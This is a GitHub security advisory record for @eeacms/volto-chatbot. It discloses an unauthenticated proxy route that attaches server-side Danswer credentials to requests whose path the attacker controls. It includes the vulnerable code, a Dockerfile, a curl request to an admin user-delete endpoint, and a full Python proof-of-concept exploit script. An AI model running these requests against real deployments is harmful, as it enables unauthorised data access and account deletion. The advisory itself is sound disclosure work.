{"id":"GHSA-w9x9-j56r-h98r","summary":"@eeacms/volto-chatbot has Unauthenticated Danswer API Confused Deputy Proxy","details":"## Unauthenticated Danswer API Confused Deputy Proxy in @eeacms/volto-chatbot\n\n### Summary\n\n`@eeacms/volto-chatbot` exposes an Express middleware route (`**/_v1_da/**`) that accepts unauthenticated HTTP requests from any network client and proxies them to the configured upstream Danswer API, automatically attaching the server-side service credentials (`DANSWER_API_KEY` or session cookie). Because no authorization check, path allowlist, or method restriction is applied before the upstream request is issued, an unauthenticated attacker can invoke arbitrary Danswer API operations — including privileged admin endpoints — as the configured service account. This is a classic Confused Deputy attack: the Volto proxy acts as a deputy that carries credentials on behalf of the attacker.\n\n### Details\n\nThe vulnerability is introduced across two source files in `@eeacms/volto-chatbot@2.0.3`.\n\n**Route registration (`src/index.js:15`):**\n\n```js\nmiddleware.all('**/_v1_da/**', proxyMiddleware);\n```\n\nThe wildcard pattern matches every HTTP method and any sub-path, and no authentication middleware is chained before `proxyMiddleware`. This means all requests reaching any `/_v1_da/` path are forwarded without any identity check.\n\n**Unvalidated path extraction and upstream URL construction (`src/middleware.js:228-230`):**\n\n```js\nconst path = req.url.replace('/_v1_da/', '/');\nconst reqUrl = `${process.env.DANSWER_URL || ''}/api${path}`;\n```\n\nThe attacker-controlled `req.url` is transformed into the upstream Danswer path with a simple string replace. There is no allowlist of permitted paths, no restriction on HTTP methods, and no validation of the resulting URL. The attacker therefore fully controls which Danswer endpoint is called and with which HTTP method.\n\n**Credential attachment and forwarding (`src/middleware.js:164`, `src/middleware.js:169`, `src/middleware.js:202`):**\n\n```js\n// Session-cookie path (line 164):\nheaders = { Cookie: cached_auth_cookie, ... }\n\n// API-key path (line 169):\nAuthorization: 'Bearer ' + api_key,\n\n// Sink — final upstream dispatch (line 202):\nconst response = await fetch(url, options, req.body);\n```\n\nAfter constructing the URL from attacker-supplied input, the middleware attaches the server-side Danswer credentials (either a cached login session cookie or a `Bearer` API key) and dispatches the request. The response from Danswer is then relayed back to the unauthenticated client.\n\n**Complete data flow (source → sink):**\n\n1. `src/index.js:15` — all `**/_v1_da/**` paths registered to `proxyMiddleware` with no auth guard (source: external HTTP request).\n2. `src/middleware.js:228` — `req.url` used directly to derive the upstream path without allowlist.\n3. `src/middleware.js:230` — attacker-controlled path appended to `${DANSWER_URL}/api`.\n4. `src/middleware.js:164` / `src/middleware.js:169` — server-side session cookie or API key attached.\n5. `src/middleware.js:202` — `fetch(url, options, req.body)` sends the fully-credentialed request to the Danswer backend (sink).\n\nThis vulnerability is present whenever the add-on middleware is installed and `DANSWER_API_KEY` or `DANSWER_USERNAME`/`DANSWER_PASSWORD` is configured — conditions required for normal, documented operation of the package.\n\n### PoC\n\nThe following steps reproduce the vulnerability using the Docker-based test harness provided with this report.\n\n**Prerequisites:**\n- Docker installed\n- Python 3 with the `requests` library\n\n**Step 1 — Build the Docker image (from the `npmAI_719_eea__volto-chatbot/` parent directory):**\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t vuln001-proxy \\\n  reports/npmAI_719_eea__volto-chatbot\n```\n\nThe image packages the unmodified `src/middleware.js` from `@eeacms/volto-chatbot@2.0.3`, a minimal Express server that wires the vulnerable middleware, and an in-container mock Danswer server that echoes every received request as JSON. The environment variable `DANSWER_API_KEY=supersecret` is set to simulate a real deployment.\n\n**Step 2 — Start the container:**\n\n```bash\ndocker run --rm -d -p 3000:3000 --name vuln001-test vuln001-proxy\n```\n\nThis launches both the Volto proxy (port 3000) and the mock Danswer server (port 18080) inside the container.\n\n**Step 3 — Run the PoC exploit script:**\n\n```bash\npython3 vuln-001/poc.py 127.0.0.1 3000\n```\n\n**What the script does:**\n1. Waits for the proxy to accept TCP connections.\n2. Sends an unauthenticated `POST` request with a JSON body to the admin-only Danswer endpoint via the proxy:\n\n```\nPOST http://127.0.0.1:3000/_v1_da/admin/users/delete\nContent-Type: application/json\n\n{\"id\": \"victim-user-123\"}\n```\n\nNo `Authorization` or `Cookie` header is sent by the client.\n\n**Expected output (exploit confirmed):**\n\n```\n[+] === EXPLOIT CONFIRMED — PASS ===\n[+] Decisive evidence:\n    1. Attacker-controlled path reached upstream : url='/api/admin/users/delete'\n    2. Server-side API key forwarded (no client auth) : authorization='Bearer supersecret'\n    3. Attacker-controlled HTTP method forwarded : method='POST'\n```\n\nThe mock Danswer server receives `POST /api/admin/users/delete` with `Authorization: Bearer supersecret` — proving that the attacker controlled both the upstream path and the HTTP method while the server silently attached its own credentials.\n\n**Equivalent manual curl command (without Docker):**\n\n```bash\n# Terminal 1 — mock Danswer server\nnode - \u003c\u003c'NODE'\nrequire('http').createServer((req, res) =\u003e {\n  let b = ''; req.on('data', c =\u003e b += c);\n  req.on('end', () =\u003e {\n    res.setHeader('content-type', 'application/json');\n    res.end(JSON.stringify({\n      method: req.method, url: req.url,\n      authorization: req.headers.authorization || null,\n      body: b\n    }));\n  });\n}).listen(18080, () =\u003e console.log('mock Danswer on :18080'));\nNODE\n\n# Terminal 2 — Volto with Danswer credentials configured\nDANSWER_URL=http://127.0.0.1:18080 DANSWER_API_KEY=secret yarn start\n\n# Terminal 3 — unauthenticated exploit request\ncurl -i -X POST 'http://localhost:3000/_v1_da/admin/users/delete' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"id\":\"victim-user-123\"}'\n```\n\nThe response body will contain `\"authorization\":\"Bearer secret\"` and `\"url\":\"/api/admin/users/delete\"`, confirming the Confused Deputy.\n\n### Impact\n\nThis is a **Confused Deputy / Missing Authorization** vulnerability. The Volto proxy acts as a privileged deputy that forwards attacker-supplied requests to the Danswer backend while silently attaching its own service credentials.\n\n**Who is impacted:**\n\nAny deployment of `@eeacms/volto-chatbot` that:\n- has the package's Express middleware installed (default when the add-on is active), AND\n- has `DANSWER_API_KEY` or `DANSWER_USERNAME`/`DANSWER_PASSWORD` configured (required for the add-on to function at all).\n\nBecause these conditions are satisfied in every normal production deployment of the package, the vulnerability is effectively default-on.\n\n**Concrete attacker capabilities depend on the Danswer service account's permissions but include:**\n\n- **High Confidentiality impact** — reading any Danswer endpoint accessible to the service account, including documents, user data, conversation history, and configuration.\n- **Low–High Integrity impact** — invoking write/mutate endpoints such as `POST /admin/users/delete`, `POST /chat/create-chat-session`, or any other writable Danswer API path as the service account.\n- **No Authentication required** — the attacker needs only network access to the Volto server (port 3000); no user account, cookie, or token is required.\n\nThe vulnerability is exploitable by any unauthenticated network attacker, including anonymous internet users if the Volto server is publicly reachable.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 PoC — Unauthenticated Danswer API Confused Deputy Proxy\n#\n# Build context: the parent directory (npmAI_719_eea__volto-chatbot/)\n#   docker build -f vuln-001/Dockerfile -t vuln001-proxy .\n#\n# Run:\n#   docker run --rm -p 3000:3000 vuln001-proxy\n\nFROM node:18-alpine\n\nWORKDIR /app\n\n# Install production dependencies required by the vulnerable middleware and test harness\nRUN npm init -y && npm install --save \\\n    express@4 \\\n    superagent@8 \\\n    node-fetch@2 \\\n    debug@4 \\\n    @babel/core@7 \\\n    @babel/register@7 \\\n    @babel/preset-env@7\n\n# Copy the vulnerable middleware source (unmodified from repo)\nCOPY repo/src/middleware.js /app/src/middleware.js\n\n# Copy the test harness\nCOPY vuln-001/test_server.js /app/test_server.js\n\n# Point the proxy at the in-container mock Danswer server.\n# DANSWER_API_KEY is the secret the server attaches to every upstream request.\nENV DANSWER_URL=http://127.0.0.1:18080\nENV DANSWER_API_KEY=supersecret\n\nEXPOSE 3000\n\nCMD [\"node\", \"test_server.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept: VULN-001\nTitle:  Unauthenticated Danswer API Confused Deputy Proxy\nCWE:    CWE-862 — Missing Authorization\nCVSS:   8.2 (High)  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N\n\nVulnerability:\n    src/index.js:15 registers  middleware.all('**/_v1_da/**', proxyMiddleware)\n    with NO authentication guard.  src/middleware.js:228-230 derives the\n    upstream Danswer API path directly from req.url without any allowlist,\n    then attaches the server-side DANSWER_API_KEY (or session cookie) before\n    calling fetch().  An unauthenticated attacker therefore controls:\n        - the upstream Danswer API path   (e.g. /admin/users/delete)\n        - the HTTP method                 (POST, DELETE, …)\n        - the request body\n    while the server silently adds its own credentials.\n\nExploit flow:\n    Attacker --(unauthenticated POST /_v1_da/admin/users/delete)--\u003e Volto proxy\n    Volto proxy --(POST /api/admin/users/delete  Authorization: Bearer \u003ckey\u003e)--\u003e Danswer\n\nUsage:\n    python3 poc.py [proxy_host] [proxy_port]\n    Default: 127.0.0.1  3000\n\"\"\"\n\nimport json\nimport socket\nimport sys\nimport time\n\nimport requests\n\n# ── Configuration ──────────────────────────────────────────────────────────────\nPROXY_HOST = sys.argv[1] if len(sys.argv) \u003e 1 else \"127.0.0.1\"\nPROXY_PORT = int(sys.argv[2]) if len(sys.argv) \u003e 2 else 3000\nPROXY_BASE = f\"http://{PROXY_HOST}:{PROXY_PORT}\"\n\n# Attacker-chosen admin-only endpoint — no credentials sent by the client.\nATTACK_PATH    = \"/_v1_da/admin/users/delete\"\nATTACK_PAYLOAD = {\"id\": \"victim-user-123\"}\n\n\n# ── Helpers ────────────────────────────────────────────────────────────────────\ndef wait_for_port(host: str, port: int, timeout: int = 40) -\u003e bool:\n    \"\"\"Return True when a TCP connection succeeds within *timeout* seconds.\"\"\"\n    deadline = time.monotonic() + timeout\n    while time.monotonic() \u003c deadline:\n        try:\n            with socket.create_connection((host, port), timeout=1):\n                return True\n        except OSError:\n            time.sleep(1)\n    return False\n\n\ndef run_exploit() -\u003e bool:\n    print(\"=\" * 64)\n    print(\"VULN-001 PoC — Unauthenticated Danswer API Confused Deputy Proxy\")\n    print(\"=\" * 64)\n    print(f\"[*] Proxy base   : {PROXY_BASE}\")\n    print(f\"[*] Attack path  : {ATTACK_PATH}\")\n    print(f\"[*] Attack body  : {json.dumps(ATTACK_PAYLOAD)}\")\n    print(f\"[*] No client auth headers will be sent.\")\n    print()\n\n    # Wait for the proxy server to accept connections.\n    print(f\"[*] Waiting for proxy on {PROXY_HOST}:{PROXY_PORT} ...\")\n    if not wait_for_port(PROXY_HOST, PROXY_PORT, timeout=40):\n        print(\"[-] Proxy did not become reachable within 40 s. FAIL.\")\n        return False\n    print(\"[+] Proxy is reachable.\")\n\n    # Additional brief wait to let the Node event loop fully initialise.\n    time.sleep(1)\n\n    # Send the exploit request — zero client-side authentication.\n    exploit_url = f\"{PROXY_BASE}{ATTACK_PATH}\"\n    print(f\"[*] Sending unauthenticated POST → {exploit_url}\")\n    try:\n        resp = requests.post(\n            exploit_url,\n            json=ATTACK_PAYLOAD,\n            headers={\"Content-Type\": \"application/json\"},\n            timeout=20,\n        )\n    except requests.exceptions.RequestException as exc:\n        print(f\"[-] HTTP request failed: {exc}\")\n        return False\n\n    print(f\"[*] HTTP status : {resp.status_code}\")\n    print(f\"[*] HTTP body   : {resp.text[:800]}\")\n    print()\n\n    # Parse the echo from the mock Danswer server.\n    try:\n        body = resp.json()\n    except ValueError:\n        print(\"[-] Response is not valid JSON — cannot verify exploit. FAIL.\")\n        return False\n\n    auth_header = body.get(\"authorization\") or \"\"\n    upstream_url = body.get(\"url\") or \"\"\n    method = body.get(\"method\") or \"\"\n\n    print(\"[*] Fields echoed by mock Danswer upstream:\")\n    print(f\"    method        : {method!r}\")\n    print(f\"    url           : {upstream_url!r}\")\n    print(f\"    authorization : {auth_header!r}\")\n    print()\n\n    # Decisive evidence criteria:\n    #   1. Attacker-supplied path reached the upstream server.\n    #   2. Server-side API key was attached without any client credential.\n    #   3. Attacker-supplied HTTP method was forwarded.\n    path_proxied   = \"/api/admin/users/delete\" in upstream_url\n    cred_attached  = \"Bearer supersecret\" in auth_header\n    method_correct = method == \"POST\"\n\n    if path_proxied and cred_attached and method_correct:\n        print(\"[+] === EXPLOIT CONFIRMED — PASS ===\")\n        print(\"[+] Decisive evidence:\")\n        print(f\"    1. Attacker-controlled path reached upstream : url={upstream_url!r}\")\n        print(f\"    2. Server-side API key forwarded (no client auth) : authorization={auth_header!r}\")\n        print(f\"    3. Attacker-controlled HTTP method forwarded : method={method!r}\")\n        return True\n    else:\n        print(\"[-] === EXPLOIT NOT CONFIRMED — FAIL ===\")\n        if not path_proxied:\n            print(f\"    MISSING: /api/admin/users/delete not found in url={upstream_url!r}\")\n        if not cred_attached:\n            print(f\"    MISSING: 'Bearer supersecret' not found in authorization={auth_header!r}\")\n        if not method_correct:\n            print(f\"    MISSING: expected method=POST, got {method!r}\")\n        return False\n\n\nif __name__ == \"__main__\":\n    success = run_exploit()\n    sys.exit(0 if success else 1)\n```","modified":"2026-10-29T16:45:05.110461952Z","published":"2026-10-29T16:35:48Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-29T16:35:48Z","nvd_published_at":null,"cwe_ids":["CWE-862"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/eea/volto-chatbot/security/advisories/GHSA-w9x9-j56r-h98r"},{"type":"WEB","url":"https://github.com/eea/volto-chatbot/commit/eaf18b7c0f23560086b300bf0c5e62f9f76ad7b0"},{"type":"PACKAGE","url":"https://github.com/eea/volto-chatbot"},{"type":"WEB","url":"https://github.com/eea/volto-chatbot/releases/tag/2.0.4"}],"affected":[{"package":{"name":"@eeacms/volto-chatbot","ecosystem":"npm","purl":"pkg:npm/%40eeacms/volto-chatbot"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.4"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.0.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-w9x9-j56r-h98r/GHSA-w9x9-j56r-h98r.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"}]}